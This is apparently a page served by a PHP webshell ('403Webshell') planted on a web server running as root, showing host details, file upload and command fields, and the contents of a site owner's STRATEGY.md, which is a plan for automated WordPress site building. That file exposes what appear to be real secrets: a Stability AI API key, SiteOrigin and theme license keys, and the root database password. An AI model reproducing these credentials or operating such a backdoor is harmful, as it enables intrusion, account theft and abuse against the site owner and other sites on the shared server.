403Webshell
Server IP : 198.71.58.22  /  Your IP : 216.73.216.72
Web Server : Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
System : Linux localhost 5.14.0-570.33.2.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 14 07:37:35 EDT 2025 x86_64
User : root ( 0)
PHP Version : 8.3.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/lesliepobee.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/lesliepobee.com//STRATEGY.md
Strategy for Wordpress site automation

Goal:  To automate wordpress site creation

Approach:
        What:  The endstate I want to achieve is to create a system to automate the full creation of a brand new WordPress Website using
        any combination of prompts or external information.  This system should be user driven as much as possible with a form to provide the
        information and artifacts (videos, photos)

        How:  Constraints, what we have or what we need if fresh install
                -- Wordpress latest version
                -- MariaDB 11x or higher
                -- PHP 8.3 or higher
                -- SiteOrigin with all associated plugins, I have a site license for this <<VERY IMPORTANT>>>
                -- Contact Form 7 plugin
                -- LAMP stack with Alma Linux 9 on VPS shared with other websites
                -- Stability AI available for Image generation if none are provided by customers
                -- Let's encrypt for SSL certs
                -- RankMath for SEO:  Important
                -- Can apply customer DNS or offer them our DNS with NameCheap if they decide to buy domain from us (later phase)
                -- Claude AI subscription available and Claude Code
                -- Brevo API available for sending mail
				-- Stability AI API Key: sk-afXoiN56UgjXefaINBFNViijxfuPJzsLtU2euUGGKHoCy6Jt
                -- Proteus Themes Buildpress Key:  745a1839445307dccd828277bd9bd625
                -- Site Origin Site License Key:  24673727ca75ad35f6ef5a3b0bf27d84

        Who:  End goal is for non-technical people to be able to fill out a form or be prompted with questions which will give us what
        we need to build their site from end to end.
		
If prompt indicates FRESH INSTALL:

			1.  DB Username:  root
			2.  DB Password:  Idlgeah2024##
			3.  httpd conf path   /etc/httpd/conf.d
			4.  See SITE.md for the particulars on address, url, domain name 
				a.  Create Certbot Let's encrypt SSL. 
				b.  Set the user/admin email specified
			 
			

Phases:

                Phase 0: Pre-requisites (manual steps for Phase 1; Phase 3 will eventually automate DNS, SSL, and HTTPD configuration)
                        1.  Use WP-RESET to clear out any artifacts that may be there
                        2.  Alternatively, wp is installed as well for clearing out current site artifacts
                        3.  Site DNS and SSL already configured manually (httpd vhost, certbot) — takes only a few minutes per site
					

                Phase 1:  Semi-automated with technical person (me)
                        This phase is complete when we can do the following
                        1.  Define a template based on a URL of another website or a text description with other text prompt inputs.  A SITE.md will be created that tells you the pages and detail on layout and content per page.
                        2.  Use current Wordpress files in directory so you don't need to recreate
                        3.  Use wp-config to read the database connection (db will already be set up)
                        4.  Clear out current pages and posts and remove all other extraneous themes
                        5.  Use Stability AI to generate high quality images
                        6.  VERY IMPORTANT:  Template being built needs to exclusively use SiteOrigin rows and widgets for the layout.
                        7.  We can do basic QA testing of each page to ensure it is available
                        8.  We can use RankMath and configure it on each page to maximize the SEO.  This means adding the Title, meta description, focus
  keyword.  Implied task, automation should provide a good title, meta descriptoin and focus key word if not in SITE.md
                        9.  ROLLBACK.   We are at blank slate at this point.   Roll back will be use wp to clear everything and try again with update SITE.md


                Phase 2:
                        This phase is complete when we can do everything in phase 1 and
                        1.  We can use a user's existing website and rebuild it based on the URL
                                -- In the past I have scraped content, pages and blogs, using the following PHP packages in a PHP script

                                use GuzzleHttp\Client;
                                use GuzzleHttp\Psr7\Uri;
                                use GuzzleHttp\Psr7\UriResolver;
                                use Symfony\Component\DomCrawler\Crawler;
                                use fivefilters\Readability\Readability;
                                use fivefilters\Readability\Configuration;
                                use Masterminds\HTML5;

                        2.  We can add in images or videos that a user provides.
                        3.  We can migrate a user's content, to include blogs over to the new site we host.
                        4.  We can set up WP SMTP Mail to use our Brevo API so that Contact Form 7 forms can send email.

                Phase 3:
                        This phase is complete when we can do everything in phase 1 and 2 and
                        1.  We can autoprovision the DNS using NameCheap if they buy it from us
                        2.  We can autoprovision the site to search.google.com console and begin indexing and monitoring the site.


Youez - 2016 - github.com/yon3zu
LinuXploit